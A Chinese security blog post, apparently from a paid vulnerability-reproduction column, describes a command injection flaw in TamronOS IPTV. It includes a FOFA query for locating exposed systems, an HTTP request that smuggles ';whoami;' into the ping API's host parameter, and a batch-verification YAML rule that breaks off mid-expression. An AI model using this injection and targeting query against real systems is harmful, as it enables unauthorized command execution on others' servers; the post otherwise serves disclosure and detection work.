TamronOS IPTV系统存在命令执行漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-07 13:53:46 修改

阅读量110

点赞数

分类专栏：漏洞复现文章标签：安全 web安全网络

于 2024-04-07 13:53:35 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137461584

版权

漏洞复现专栏收录该内容

361 篇文章 119 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

产品简介
TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商、酒店、学校直播点播一体解决方案。系统提供了多种客户端（Android机顶盒、电视、PC版点播、手机版点播）方便用户通过不同的设备接入。
漏洞描述
TamronOS IPTV 存在系统命令注入漏洞。
fofa
app=”TamronOS-IPTV系统”
漏洞复现

POST /api/ping?count=5&host=;whoami; HTTP/1.1
Host: 
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0

检测poc规则编写

params: []
name: TamronOS IPTV系统存在命令执行漏洞
set: {}
rules:
- method: GET
  path: /api/ping?count=5&host=;whoami;
  headers: {}
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200 && response.bod

了解本专栏